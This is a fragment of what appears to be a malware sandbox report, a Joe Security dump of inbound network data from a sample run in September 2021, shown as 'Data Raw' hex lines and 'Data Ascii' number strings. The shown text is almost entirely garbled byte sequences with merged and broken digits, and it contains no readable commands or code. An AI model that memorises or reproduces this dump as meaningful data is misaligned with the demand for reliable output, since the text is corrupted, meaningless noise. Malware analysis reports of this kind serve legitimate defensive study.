32203534 20 36 36 20 31 31 34 20 31 33 32 20 31 31 32 20 32 31 38 20 35 30 20 35 34 20 35 30 20 34 37 20 31 31 36
203230352031 313720313037 203131322037 203136 20 32 34 36 20 35 34 20 38 32 20 31 31 34 20 33 36 20
373720313833203530203534203530203131312031313720313831203131372031303720313132
2032 303920313820 35362035 352038322031 3134203133382037 392031383020 3530203534 2035
302034 352031313920323035203131372031303720 313132203520 3139 2031 353220 3534 20 38 32
2031 3134 20 33 38 20 37 38 20 31 32 37 20 35 31 20 35 34 20 35 30 20 38

Data Ascii: 350 111 79 7 117 123 112 243 45 152 54 66 114 132 112 218 50 54 50 47 116 205 117 107 112 7 16 246 54
82114 36 77 183 50 54 50 111 117 181 117 107 112 209 18 56 55 82 114 138 79 180 50 54 50 45 119 205 117 107 1125
1915254 82 114 38 78 127 5154 50 8

Data Raw: 39 20 32 34 30 20 32 30 20 31 35 31 20 31 33 20 34 39 20 38 32 20 31 31 36 20 34 20 37 20 34 39 20 35 35
203130322031373820322032343320353420313134203539203234302031313420313531203131
38 20 34 39 20 32 20 32 34 32 20 36 30 20 32 30 32 20 35 32 20 35 33 20 31 30 32 20 31 37 38 20 31 30 33 20 32 34 33
203534 2031 31 34 20 36 31 20 38 30 20 35 30 20 34 38 20 35 30 20 35 34 20 36 36 20 31 31 34 20 31 34 39 20 31 31
3720 393920353020 34 3920 3530 20 31 33 34 20 31 31 36 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 33
3520 34 30 20 3538 20 34 34 20 31 36 20 31 31 34 20 31 31 39 20 31 30 39 20 31 31 36 20 31 39 20 34 38 20 35 30 20
3534 20 38 34 20 39 37 20 31 31 37 20 39 38 20 31 30 36 20 31 32 32 20 34

Data Ascii: 9 240 20 151 13 49 82 116 4 7 49 55 102 178 2 243 54 114 59 240 114 151 118 49 2 242 60 202 52 53 102
178 103 243 54 114 61 80 50 48 50 54 66 114 149 117 99 50 49 50 134 116 114 117 109 112 35 40 58 44 16 114 119 109
116 19 48 50 54 84 97 117 98 106 122 4

Data Raw: 38 34 20 31 38 20 36 34 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 38 34 20 35 33 20 31 30 38 20 36 36
203230 32 20 31 30 38 20 36 32 20 35 30 20 32 34 38 20 37 20 3534 20 38 34 20 31 31 34 20 3131 37 20 31 31 20 31
313520 37 3520 30 20 32 34 37 20 35 35 20 34 20 31 31 34 20 32 39 20 39 31 20 31 31 32 20 35 30 20 34 38 20 35 30
2038 30 20 38 37 20 32 30 30 20 36 39 20 31 30 34 20 31 31 33 20 39 36 20 34 38 20 32 31 30 20 30 20 38 34 20 31 31
342031 313720313039 2032322034 39203231302032203131203835203333203131372039332037
3120 353020 34 38 20 35 30 20 35 34 20 35 30 20 31 31 33 20 31 35 35 20 39 33 20 31 38 37 20 35 31 20 31 30 30 20
353020 32 33 30 20 39 39 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32

Data Ascii: 84 18 64 109 112 50 48 84 53 108 66 202 108 62 50 248 7 54 84 114 117 11 11575 0 247 554 114 29 91 112
50 48 50 80 87 200 69 104 113 96 48 210 0 84 114 117 109 22 49 210 2 11 85 33 117 93 71 50 48 50 54 50 113 155 93
187 51 100 50 230 99 114 117 109 112

Data Raw: 33 31 20 31 39 31 20 31 31 39 20 32 32 39 20 31 31 32 20 36 20 38 34 20 35 30 20 35 34 20 38 34 20 31 31
342031 30 30 20 31 30 39 20 39 33 20 31 32 36 20 36 34 20 34 38 20 31 38 38 20 38 34 20 37 34 20 31 37 20 31 30 39
20 31 31 32 20 35 30 20 34 38 20 33 35 20 35 34 20 34 35 20 36 32 20 35 20 31 31 31 20 32 35 31 20 35 30 20 31 32 20
3836203534 20 38 34 20 31 31 3420 31 31 37 20 31 32 34 20 31 31 3220 32 34 37 20 31 32 34 20 32 31 38 20 35 32
203231362031 313420312039 203131322035 302034 3820353020 3332203834 2039 352035362031
353720 313134203138 382034 3820323138 203832203834 203131342031 313720313039 20313032
20353020 31323920 31 32 37 20 32 30 34 20 38 36 20 32 32 37 20 31 31

Data Ascii: 31 191 119 229 112 6 84 50 54 84 114 100 109 93 126 64 48 188 84 74 17 109 112 50 48 35 54 45 62 5 111
2515012 86 54 84 114 117 124 112 247 124 218 52 216 114 1 9 112 50 48 50 32 84 95 56 157 114 188 48 218 82 84
114 117 109 102 50 129 127 204 86 227 11

Data Raw: 35 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 31 38 30 20 34 38 20 33 35 20 39 32 20 33 30 20 31
313820 31 31 32 20 31 30 38 20 31 30 38 20 31 38 32 20 34 38 20 35 30 20 35 34 20 38 34 20 32 34 34 20 31 30 39 20
31 35 38 20 31 30 36 20 38 35 20 34 38 20 35 32 20 35 35 20 31 36 20 32 34 36 20 31 31 37 20 31 30 39 20 31 31 32 20
353020 31 38 32 20 34 32 20 31 39 37 20 37 38 20 32 33 34 20 31 31 36 20 31 30 37 20 31 31 33 20 31 37 30 20 31 38
30 20 35 30 20 35 34 20 38 34 20 31 31 34 20 32 34 33 20 31 30 39 20 31 32 31 20 38 39 20 31 37 32 20 35 30 20 34 39
20 38 3520 31 39 38 20 32 34 31 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 31 37 39 20 35 34 20 31 30 39 20 32 35
2031 3820 31 30 39 20 31 31 39 20 35 31 20 31 38 30 20 31 38 33 20 35 34

Data Ascii: 5114 117 109 112 180 48 35 92 30 118 112 108 108 182 48 50 54 84 244 109 158 106 85 48 52 55 16 246
117 109 112 50 182 42 197 78 234 116 107 113 170 180 50 54 84 114 243 109 121 89 172 50 49 85 198 241 109 112 50
48 179 54 109 25 18 109 119 51 180 183 54

Data Raw: 31 30 20 31 35 37 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 30 32 20 35 30 20 38 31 20 31 37 37
20 31 31 30 20 38 31 20 37 39 20 31 31 36 20 39 20 32 31 39 20 35 30 20 34 38 20 35 30 20 35 34 20 36 36 20 31 31 34
20 32 33 36 20 32 33 38 20 34 36 20 35 35 20 31 34 20 35 31 20 31 37 38 20 32 35 35 20 31 31 34 20 31 31 37 20 31 30
39 20 31 3132 20 33 36 20 34 38 20 31 33 35 20 31 38 31 20 34 39 20 31 31 39 20 37 34 20 31 30 38 20 31 37 36 20 31
35 33 20 34 38 20 35 30 20 35 34 20 38 34 20 31 30 30 20 31 31 37 20 31 3238 20 32 34 33 20 39 34 20 3533 20 31 31
34 20 35 35 20 3532 20 32 32 32 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 35 34 20 34 32 20 31 39 37 20 37 38
203137 3220313137 20343620 3131332031383220 3135362035

Data Ascii: 10 157 84 114 117 109 102 50 81 177 110 81 79 116 9 219 50 48 50 54 66 114 236 238 46 55 14 51 178 255
114117 109 112 36 48 135 181 49 119 74 108 176 153 48 50 54 84 100 117 128 243 94 53 114 55 52 222 117 109 112 50
544219778 172 117 46 113 182 156 5

Data Raw: 35 30 20 34 38 20 35 30 20 35 34 20 38 35 20 31 31 34 20 31 31 33 20 32 34 35 20 34 31 20 35 32 20 39 35
20 3531 20 32 32 36 20 32 33 32 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 31 20 34 38 20 31 30 36 20 31
37 34 20 35 33 20 31 31 36 20 34 20 31 30 38 20 31 36 38 20 31 34 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 36
203131 37 20 31 36 35 20 32 33 32 20 39 31 20 35 34 20 37 30 20 35 35 20 32 32 30 20 32 30 35 20 31 31 37 20 31 30
39 20 31 31 32 20 35 30 20 34 39 20 35 30 20 35 34 20 32 30 35 20 32 31 20 31 31 37 20 32 34 20 31 31 33 20 31 33 38
20 32 34 30 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 35 20 31 30 39 20 36 34 20 31 37 31 20 38 37 20 35 30 20
36 37 20 38 35 20 31 35 30 20 31 38 30 20 31 30 39 20 31 31 32 20 35 30 20

Data Ascii: 50 48 50 54 85 114 113 245 41 52 95 51 226 232 114 117 109 112 51 48 106 174 53 116 4 108 168 140 48 50
54 84 116 117 165 232 91 54 70 55 220 205 117 109 112 50 49 50 54 205 21 117 24 113 138 240 50 54 84 114 115 109 6
4171 87 50 67 85 150 180 109 112 50

Data Raw: 38 20 31 31 32 20 31 37 35 20 39 20 35 30 20 35 34 20 38 35 20 31 31 34 20 31 35 36 20 38 34 20 31 31 32
20 3530 20 34 39 20 35 30 20 31 38 33 20 31 31 30 20 31 31 34 20 31 31 37 20 31 30 38 20 31 31 32 20 31 33 39 20 31
30 20 35 30 20 35 34 20 38 36 20 31 31 34 20 31 36 30 20 38 37 20 31 31 32 20 35 30 20 34 39 20 35 30 20 31 32 33 20
3130362031 31 34 20 31 31 37 20 31 30 38 20 31 31 32 20 31 37 31 20 31 34 20 35 30 20 35 34 20 38 35 20 31 31 34
20 39 36 20 38 32 20 31 31 32 20 35 30 20 34 39 20 35 30 20 38 37 20 31 30 37 20 31 31 34 20 31 31 37 20 31 30 38 20
3131 3220 32 3339 20 31 35 20 35 30 20 35 34 20 38 35 20 31 31 34 20 36 34 20 34 34 20 31 31 32 20 35 30 20 35 30
20353020 313033203231203131342031313720313130203131

Data Ascii: 8 112 175 9 50 54 85 114 156 84 112 50 49 50 183 110 114 117 108 112 139 10 50 54 86 114 160 87 112 50
4950123 106 114 117 108 112 171 14 50 54 85 114 96 82 112 50 49 50 87 107 114 117 108 112 239 15 50 54 85 114 64
44112505050 103 21 114 117 110 11
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 32 20 35 31 20 31 30 34 20 35 30 20 35 34 20 38 35 20 31 31 34 20 36 30 20 33 31 20 31 31 32 20 35 30 20
34 3920 35 30 20 38 33 20 33 38 20 31 31 34 20 31 31 37 20 31 31 31 20 31 31 32 20 31 37 39 20 36 36 20 35 30 20 35
34 20 38 35 20 31 31 34 20 31 38 38 20 33 30 20 31 31 32 20 35 30 20 34 39 20 35 30 20 35 35 20 33 32 20 31 31 34 20
31313720313038 2031313220 31323720 36 38 20 35 30 20 35 34 20 38 35 20 31 31 34 20 32 34 30 20 32 35 20
313132203530203530203530203135312033322031313420313137203131302031313220313433
20 36 38 20 353020 3534 20 38 30 20 31 31 34 20 31 37 3220 32 35 20 31 31 32 20 35 30 20 35 33 20 353020 31 39
352033 32203131342031313720313038203131322033312036

Data Ascii: 2 51 104 50 54 85 114 60 31 112 50 49 50 83 38 114 117 111 112 179 66 50 54 85 114 188 30 112 50 49 50
5532114 117 108 112 127 68 50 54 85 114 240 25 112 50 50 50 151 32 114 117 110 112 143 68 50 54 80 114 172 25
1125053 5019532114117 108 11231 6

Data Raw: 34 38 20 31 32 32 20 38 33 20 38 31 20 31 31 35 20 31 38 30 20 31 30 39 20 37 32 20 32 20 31 34 33 20 35
31203234 37 20 38 34 20 31 34 34 20 36 39 20 38 30 20 31 31 33 20 32 34 33 20 34 38 20 32 32 30 20 36 20 31 35 39
2031 31 3520 31 39 36 20 31 30 39 20 31 37 36 20 31 36 20 31 37 34 20 35 34 20 31 36 37 20 38 34 20 31 39 31 20 32
34 312031302031 313220 3136332034 382032333120313738203531203131342032323820313039
2031 37 34203138 32 20 38 37 20 35 30 20 31 36 37 20 38 34 20 31 33 30 20 32 34 31 20 31 30 20 31 31 32 20 31 36
3320 34 3820 34 38 20 31 37 39 20 35 31 20 31 31 34 20 33 36 20 31 30 34 20 31 33 31 20 34 30 20 38 37 20 35 30 20
31352038342031323920313131203130203131322032372034

Data Ascii: 48 122 83 81 115 180 109 72 2 143 51 247 84 144 69 80 113 243 48 220 6 159 115 196 109 176 16 174 54
167 84 191 241 10 112 163 48 231 178 51 114 228 109 174 182 87 50 167 84 130 241 10 112 163 48 48 179 51 114 36
104 1314087 50 1584 129 111 1011227 4

Data Raw: 20 36 34 20 31 31 33 20 31 38 37 20 35 33 20 31 39 33 20 34 34 20 32 30 30 20 31 32 37 20 32 32 38 20 31
30 34 20 31 32 33 20 31 35 39 20 31 34 38 20 36 33 20 33 31 20 38 32 20 39 39 20 32 31 36 20 31 20 31 31 34 20 32 35
3120 34 39 20 31 39 33 20 34 34 20 38 31 20 31 31 35 20 31 32 34 20 31 31 31 20 38 34 20 31 35 39 20 39 32 20 34 38
2032 3535203835 203735203231 362031303420 3131332032353120343920313234203135352038
312031313520 31383020 313038203339 2031353920 3133302036 332039 35203831203437203231
3620 31 37 34 20 31 32 35 20 39 31 20 35 33 20 38 34 20 31 35 35 20 31 35 37 20 31 32 37 20 34 34 20 31 30 34 20 32
33 37 20 34 36 20 32 35 35 20 36 33 20 31 31 31 20 38 31 20 32 20 32 31 36

Data Ascii: 64 113 187 53 193 44 200 127 228 104 123 159 148 63 31 82 99 216 1 114 251 49 193 44 81 115 124 111 84
159 92 48 255 85 75 216 104 113 251 49 124 155 81 115 180 108 39 159 130 63 95 81 47 216 174 125 91 53 84 155 157
127 44 104 237 46 255 63 111 81 2 216

Data Raw: 39 20 31 39 35 20 34 39 20 31 39 33 20 34 34 20 31 32 32 20 39 37 20 31 30 38 20 31 30 37 20 31 33 31 20
34 3020 35 33 20 35 31 20 32 31 35 20 38 36 20 32 31 36 20 31 39 36 20 31 31 30 20 31 31 36 20 32 31 31 20 35 30 20
3234 35 20 31 35 36 20 38 37 20 31 31 38 20 34 31 20 31 30 39 20 33 36 20 31 35 33 20 38 37 20 35 30 20 31 38 33 20
3836 20 32 30 32 20 32 32 33 20 31 30 20 31 31 32 20 32 33 35 20 35 33 20 31 33 33 20 31 33 35 20 31 35 20 39 37 20
3130302031303520 31383320 3133312038 322033332034 3720383020 313637203139 3620323035
2031 313220323335 203533203137 352034 322036312039 37203138382031303920313432203135
34 20 36 34 20 33 33 20 32 33 39 20 38 31 20 31 34 39 20 31 39 36 20 32 30

Data Ascii: 9 195 49 193 44 122 97 108 107 131 40 53 51 215 86 216 196 110 116 211 50 245 156 87 118 41 109 36 153
87 50 183 86 202 223 10 112 235 53 133 135 15 97 100 105 183 131 82 33 47 80 167 196 205 112 235 53 175 42 61 97
188 109 142 154 64 33 239 81 149 196 20

Data Raw: 34 39 20 33 31 20 39 31 20 34 36 20 33 31 20 39 34 20 39 32 20 38 37 20 38 35 20 33 32 20 32 37 20 32 36
20 3320 33 20 35 30 20 31 31 35 20 39 33 20 39 31 20 33 36 20 32 39 20 32 37 20 38 20 33 30 20 37 30 20 34 38 20 39
37 20 37 39 20 33 39 20 36 20 31 36 20 30 20 39 34 20 31 31 33 20 39 35 20 39 35 20 37 30 20 35 39 20 32 38 20 31 36
20 33 20 34 20 31 32 37 20 39 35 20 38 36 20 38 33 20 35 36 20 31 31 34 20 34 38 20 39 20 32 35 20 37 30 20 39 35 20
36 34 20 31 31 36 20 33 38 20 32 39 20 32 20 33 30 20 31 37 20 38 30 20 39 32 20 38 37 20 31 31 39 20 33 32 20 36 20
37 20 34 20 31 38 20 37 31 20 36 38 20 38 37 20 35 34 20 31 37 20 32 32 20 32 38 20 32 35 20 33 31 20 36 34 20 31 31
34 20 36 34 20 38 39 20 33 35 20 31 20 32 30 20 31 35 20 32 38 20 38 37 20

Data Ascii: 49 31 91 46 31 94 92 87 85 32 27 26 3 3 50 115 93 91 36 29 27 8 30 70 48 97 79 39 6 16 0 94 113 95 95 70 59
281634 12795868356 11448 925709564 116382923017809287 1193267 4187168875417 22282531
64 114 64 89351 20 15 28 87

Data Raw: 20 35 37 20 30 20 32 36 20 38 36 20 31 32 33 20 37 32 20 31 32 36 20 32 39 20 33 35 20 32 33 20 34 33 20
323120 31 31 39 20 39 20 37 30 20 39 34 20 32 34 20 35 38 20 30 20 32 31 20 36 36 20 39 33 20 36 20 38 35 20 31 31
20 38 34 20 38 31 20 37 32 20 32 38 20 35 32 20 31 32 30 20 34 20 37 35 20 31 30 31 20 39 39 20 32 30 20 35 34 20 34
3120323220 31 32 33 20 38 39 20 31 31 39 20 39 36 20 31 38 20 32 35 20 32 20 32 30 20 35 33 20 31 31 39 20 36 20
313137 20 3520 31 31 32 20 38 36 20 36 36 20 39 34 20 35 36 20 36 39 20 39 38 20 38 35 20 37 39 20 31 30 32 20 34
3520 31 36 20 33 38 20 34 32 20 31 30 33 20 39 31 20 37 34 20 38 37 20 37 20 32 39 20 37 32 20 31 30 39 20 39 34 20
38 31 20 38 33 20 37 30 20 38 39 20 33 38 20 31 31 34 20 38 36 20 38 30 20

Data Ascii: 57 0 26 86 123 72 126 29 3523 43 21 119 9 70 94 24 58 0 21 66 93 6 85 11 84 81 72 28 52 120 4 75 101 99
2054 4122 1238911996 1825220531196 1175 112 86 66 94 56 69 98 85 79 102 45 16 38 42 103917487 7 29 72
109 94 81 83 70 89 38 114 86 80

Data Raw: 35 33 20 35 31 20 37 32 20 38 30 20 31 31 32 20 31 37 20 31 33 20 36 37 20 31 30 31 20 31 30 38 20 33 20
36 38 20 34 33 20 39 20 31 32 30 20 36 37 20 39 32 20 34 20 31 31 20 37 20 33 30 20 33 38 20 32 34 20 37 20 31 32 37
203132 3420 31 31 36 20 32 31 20 33 38 20 31 38 20 38 30 20 37 37 20 35 30 20 31 39 20 31 35 20 37 31 20 35 31 20
36 38 20 36 38 20 33 32 20 31 37 20 31 30 30 20 38 39 20 31 32 33 20 36 36 20 31 30 33 20 35 35 20 37 20 34 37 20 32
36 20 37 31 20 31 31 33 20 32 20 31 32 30 20 31 30 39 20 34 32 20 37 20 32 36 20 37 37 20 31 35 20 34 38 20 31 37 20
3131 20 33 37 20 31 36 20 35 37 20 34 37 20 35 37 20 39 33 20 31 32 31 20 31 30 36 20 31 31 31 20 32 36 20 32 30 20
36 33 20 31 20 36 37 20 37 34 20 39 20 31 32 36 20 31 32 36 20 33 37 20 34

Data Ascii: 53 51 72 80 112 17 13 67 101 108 3 68 43 9 120 67 924 11 7 30 38 24 7 127 124 116 21 38 18 80 77 50 19 15
715168683217 10089 123 66 103 557 47 26 71 113 2 120 109 42 7 26 77 15 48 17 11 37 16 57 47 57 93 121 106 111
262063167 749126 126 37 4

Data Raw: 20 32 20 38 38 20 34 31 20 39 31 20 38 37 20 38 34 20 31 32 32 20 30 20 33 38 20 33 35 20 33 39 20 31 20
39 39 20 37 33 20 33 20 37 31 20 32 39 20 37 39 20 31 31 37 20 37 38 20 37 37 20 36 37 20 39 33 20 31 30 32 20 37 38
20 31 39 20 32 37 20 35 36 20 34 34 20 36 34 20 37 20 39 32 20 31 30 32 20 31 31 35 20 33 32 20 32 39 20 33 37 20 36
31 20 33 38 20 34 20 39 38 20 31 31 36 20 31 32 31 20 36 31 20 32 36 20 36 35 20 34 31 20 34 31 20 39 37 20 30 20 37
3120 37 38 20 33 38 20 31 30 20 33 37 20 33 34 20 36 38 20 36 38 20 31 31 33 20 33 20 31 32 36 20 31 30 32 20 32 34
20 36 37 20 35 36 20 37 37 20 35 30 20 31 39 20 31 35 20 37 31 20 39 37 20 32 31 20 37 20 36 31 20 37 20 38 35 20 31
3137 20 37 31 20 36 38 20 37 20 32 38 20 36 37 20 33 38 20 35 20 37 30 20

Data Ascii: 28841918784 1220383539199 733712979117 7877 67 93 102 78 19 27 56 44 64 7 92 102 115 32
2937 6138498116121 61266541419707178381037 3468681133 126102246756 775019 15719721761
78511771687 286738570
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2021-09-27 18:28:01 UTC 3668 IN Data Raw: 20 33 37 20 37 35 20 37 36 20 30 20 37 20 31 35 20 31 33 20 35 30 20 32 31 20 31 30 35 20 33 20 34 20 32
34 20 35 34 20 31 32 37 20 38 39 20 37 20 39 37 20 35 33 20 38 36 20 32 20 38 35 20 31 37 20 31 32 34 20 39 20 31 31
3720 31 31 33 20 35 36 20 36 30 20 36 35 20 33 37 20 36 35 20 39 39 20 31 33 20 31 35 20 35 34 20 31 31 39 20 37 39
20 34 20 38 20 36 34 20 39 35 20 31 30 3520 32 32 20 31 30 30 20 31 31 20 30 20 35 35 20 33 30 20 33 32 20 31 32 33
2031 30 3620 31 30 34 20 36 34 20 31 30 33 20 32 36 20 33 37 20 33 33 20 33 35 20 36 20 38 37 20 31 3520 31 31 20
38 34 20 38 31 20 37 32 20 32 38 20 36 35 20 30 20 39 34 20 33 20 31 20 31 30 30 20 37 30 20 35 35 20 34 32 20 38 20
393120 313030203131 20 313139203539 203631 20 32 36 20 3537
Data Ascii: 37 757607 15 1350 21 1053 4 24 54 127 897 97 53 86 2 85 17 124 9 117 113 56 60 65 37 65 99 13 15 54
11979 4 8 64 95 105 22 100 11 0 55 30 32 123 106 104 64 103 26 37 33 356 87 15 11 84 81 72 28 65 0 94 3 1 100 70 55
4289110011 119 59 61 26 57

2021-09-27 18:28:01 UTC 3684 IN Data Raw: 32 20 33 33 20 39 31 20 38 36 20 39 36 20 36 37 20 32 35 20 34 39 20 37 20 39 34 20 36 38 20 31 35 20 34
382031 37 20 31 31 20 33 37 20 32 36 20 36 35 20 39 35 20 31 20 31 30 37 20 36 39 20 39 34 20 32 20 36 30 20 32 34
20 38 31 20 31 32 20 31 37 20 37 20 39 33 20 39 34 20 36 37 20 35 33 20 32 32 20 33 20 33 33 20 34 39 20 31 35 20 31
332035302032 312031303520 33203239 20 3236 20 39 20 31 32 34 20 38 31 20 31 30 39 20 39 30 20 36 30 20
3620 30 20 3220 39 20 37 31 20 31 32 32 20 31 32 31 20 33 20 36 32 20 36 35 20 35 35 20 31 34 20 35 34 20 36 20 37
3220 37 31 20 33 20 35 30 20 34 33 20 36 34 20 35 33 20 32 34 20 31 31 36 20 39 32 20 38 35 20 37 36 20 36 33 20 36
3320 36 38 20 34 36 20 32 33 20 37 35 20 36 20 31 32 33 20 31 31 39 20 31
Data Ascii: 2 33 91 86 96 67 2549 7 94 68 1548 17 11 37 26 6595 1 107 69 94 260 24 81 12 17 7 93 94 67 53 22 3 33
49151350211053292691248110990606029 71122121 362655514546727135043 6453241169285
7663636846237561231191

2021-09-27 18:28:01 UTC 3700 IN Data Raw: 20 32 34 20 38 37 20 31 32 34 20 36 34 20 31 30 38 20 34 35 20 36 35 20 32 32 20 32 39 20 33 39 20 39 37
20 3931 20 35 20 38 32 20 35 39 20 37 34 20 33 35 20 35 39 20 34 20 39 30 20 38 37 20 31 35 20 31 31 20 38 34 20 38
312037 3220 32 38 20 36 30 20 31 30 39 20 39 37 20 31 30 39 20 31 30 30 20 34 38 20 33 39 20 32 34 20 35 30 20 37
203132302037 20 31 30 3020 38 332032 20 35 20 33 32 20 32 38 20 33 34 20 31 30 36 20 38 32 20 31 31 35 20 31
312031303520 31313420 383620383020 312031313720 39 3020363620 36 20 32 20 31 36 20 36 37 20 38
203232 203132352031 32362036 3920313139 20 323620 32 35203232 20 33 38 20 32 20 31 32 37 20 31 30
3020 38 39 20 31 3237 20 32 32 20 31 30 20 36 33 20 32 37 20 32 20 31 31
Data Ascii: 24 87 124 64 108 45 65 22 29 39 97 91 5 82 59 74 3559 4 90 87 15 11 84 81 72 28 60 109 97 109 100 48 39
245071207 10083 25322834106821151110511486801 1179066621667 822 125126 69 119 26 25 22 38 2
127100 89 127 221063 27 2 11

2021-09-27 18:28:01 UTC 3716 IN Data Raw: 30 20 31 31 36 20 35 30 20 33 20 37 20 31 30 20 33 20 39 33 20 38 20 37 32 20 38 33 20 36 30 20 33 34 20
313820 38 30 20 37 37 20 35 30 20 31 39 20 31 35 20 37 31 20 34 35 20 31 30 20 35 20 31 31 20 33 31 20 39 34 20 31
3234 20 31 30 33 20 39 34 20 32 35 20 34 20 35 31 20 35 37 20 35 32 20 31 31 39 20 32 20 39 30 20 31 30 35 20 33 39
2031 312033 20 36 30 20 37 37 20 31 35 20 34 38 20 31 37 20 31 31 20 33 37 20 36 31 20 36 32 20 36 32 20 32 39 20
313037 203131372036 20 312034203634 2031352037 332033372031303620363520313137203131
352030203330203237203131203233203135203133203530203231203130352033203230203131
2031 30203939 2038 33 20 31 32 37 20 31 31 37 20 33 31 20 36 36 20 31
Data Ascii: 0 116 50 37 103938 728360 34 18 80 77 50 19 1571 45105 11 31 94 124 103 94 25 451 57 52 119 2 90
105391136077 1548 17 11 37 61 62 62 29 107 1176 1 4 64 15 73 37 106 65 117 115 0 30 27 11 23 15 13 50 21 105 3
2011109983127 11731661

2021-09-27 18:28:01 UTC 3732 IN Data Raw: 31 31 39 20 35 36 20 33 30 20 35 35 20 32 30 20 34 20 38 37 20 36 37 20 35 30 20 31 31 37 20 35 39 20 33
312035 20 31 32 20 32 20 38 37 20 34 38 20 31 31 37 20 38 33 20 33 32 20 35 32 20 32 36 20 31 20 32 30 20 38 37 20
36 36 20 39 38 20 38 37 20 33 32 20 32 36 20 31 31 37 20 34 32 20 32 31 20 37 30 20 31 31 38 20 39 31 20 39 30 20 34
39 20312031 31 37 20 34 32 20 32 31 20 37 30 20 31 31 38 20 39 31 20 39 30 20 34 39 20 36 30 20 32 30 20 30 20 32
3120 31 30 31 20 38 39 20 37 30 20 39 34 20 35 39 20 37 20 31 20 34 30 20 38 20 37 30 20 38 35 20 39 32 20 36 39 20
36 31 20 32 39 20 32 37 20 31 30 39 20 35 33 20 39 32 20 36 35 20 37 31 20 38 33 20 33 33 20 32 33 20 31 31 37 20 36
33 20 32 31 20 38 33 20 38 34 20 31 32 33 20 38 38 20 33 32 20 36 35 20 37
Data Ascii: 119 56 30 5520 4 87 67 50 117 5931512 2 87 48 117 83 32 52 26 1 20 87 66 98 87 32 26 117 42 21 70 118
9190491117 42217011891 90496020021101897094597 1408 70859269 61292710953 92 65 71 83 33
23117 63 21 83 84 1238832657

2021-09-27 18:28:01 UTC 3748 IN Data Raw: 32 30 20 35 32 20 34 38 20 35 31 20 35 35 20 37 30 20 32 34 30 20 31 36 34 20 31 30 35 20 31 31 32 20 35
3020 33 34 20 39 31 20 34 38 20 31 31 36 20 31 31 35 20 31 31 36 20 31 32 37 20 32 34 33 20 35 35 20 35 34 20 31 38
20 35 35 20 38 35 20 39 36 20 32 34 37 20 31 31 36 20 31 31 38 20 33 39 20 33 34 20 31 37 38 20 31 35 39 20 38 35 20
3132342031 3237 20 31 32 30 20 39 38 20 31 37 38 20 31 36 39 20 34 38 20 33 39 20 32 31 33 20 38 33 20 31 30 30
20 34 3520 31 31 37 20 35 33 20 34 39 20 33 35 20 31 38 32 20 32 34 30 20 31 31 39 20 31 31 37 20 31 30 39 20 39 38
20 31 37 39 20 32 35 33 20 35 35 20 32 32 20 38 34 20 39 36 20 32 34 36 20 39 36 20 39 36 20 35 33 20 35 30 20 33 39
2033 3920 32 31 322032 31 3520 31 31 39 20 39 39 20 31 30 38 20 33 39
Data Ascii: 20 52 48 51 55 70 240 164 105 112 50 34 91 48 116 115 116 127 243 55 54 18 55 85 96 247 116 118 39 34
178 159 85 124 127 120 98 178 169 48 39 213 83 100 45 117 53 49 35 182 240 119 117 109 98 179 253 55 22 84 96 246
96 96 53 50 39 39 212 215 119 99 108 39

2021-09-27 18:28:01 UTC 3764 IN Data Raw: 32 34 32 20 37 36 20 32 31 36 20 31 32 39 20 32 30 20 32 33 34 20 32 30 38 20 32 30 38 20 31 36 39 20 31
353520 34 32 20 32 34 36 20 32 32 32 20 31 32 20 31 34 38 20 32 32 39 20 31 38 30 20 31 33 32 20 35 31 20 31 37 32
2032 32 332032 3232203136 372032313520 33 33 20 32 31 3520 31 32 38 20 35 32 20 31 36 30 20 31 33 36 20
31 30 34 20 36 35 20 36 34 20 30 20 32 34 31 20 31 39 39 20 31 30 20 31 38 32 20 31 36 20 39 37 20 31 39 34 20 31 31
3020 31 39 20 31 33 32 20 31 31 30 20 32 35 30 20 38 39 20 37 38 20 36 31 20 39 20 32 33 20 32 36 20 35 39 20 31 37
34 20 32 34 35 20 32 31 35 20 31 32 37 20 31 39 36 20 32 34 37 20 32 35 34 20 33 38 20 32 30 32 20 31 33 32 20 32 30
38 20 38 36 20 31 34 20 31 36 20 31 33 38 20 31 35 20 31 32 20 31 39 35 20
Data Ascii: 242 76 216 129 20 234 208 208 169 155 42 246 222 12 148 229 180 132 51 172 223 222 167 215 33 215 128
52 160 136 104 65 64 0241 199 10 182 16 97 194 110 19 132 110 250 89 78 61 9 23 26 59 174 245 215 127 196 247 254
38 202 132 208 86 14 16 138 1512 195

2021-09-27 18:28:01 UTC 3780 IN Data Raw: 31 34 34 20 31 33 33 20 31 32 36 20 31 33 31 20 39 36 20 33 39 20 32 35 31 20 31 35 30 20 32 31 20 31 34
34 2034 39 20 31 35 36 20 32 34 35 20 31 35 38 20 31 35 37 20 31 33 30 20 31 34 34 20 31 3539 20 31 39 33 20 33 31
20 31 35 34 20 34 38 20 31 39 30 20 31 33 37 20 32 34 39 20 31 39 35 20 31 31 36 20 31 39 31 20 31 33 38 20 31 39 38
20 31 31 38 20 34 31 20 32 33 20 32 34 35 20 35 20 31 37 37 20 32 36 20 31 37 36 20 33 20 39 38 20 35 32 20 38 33 20
31 31 36 20 34 32 20 32 35 31 20 38 31 20 32 32 30 20 32 35 20 31 37 37 20 31 38 33 20 34 37 20 31 38 33 20 31 37 34
20 32 38 20 31 35 35 20 32 31 20 32 33 34 20 31 38 33 20 32 31 34 20 31 31 33 20 32 30 37 20 32 33 34 20 39 38 20 32
31342039 31 20 34 33 20 32 3520 31 30 33 20 31 39 31 20 32 31 37 20 31
Data Ascii: 144 133 126 131 96 39 251 150 21 144 49 156 245 158 157 130 144 159 193 31 154 48 190 137 249 195 116
191 138 198 118 41 23 2455 177 26 176 3 98 52 83 116 42 251 81 220 25 177 183 47 183 174 28 155 21 234 183 214
113207 234 98 214 91 4325103 191 217 1
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2021-09-27 18:28:01 UTC 3796 IN Data Raw: 20 31 35 35 20 31 38 31 20 31 32 20 32 35 35 20 31 30 34 20 31 33 30 20 31 39 36 20 38 20 31 35 36 20 36
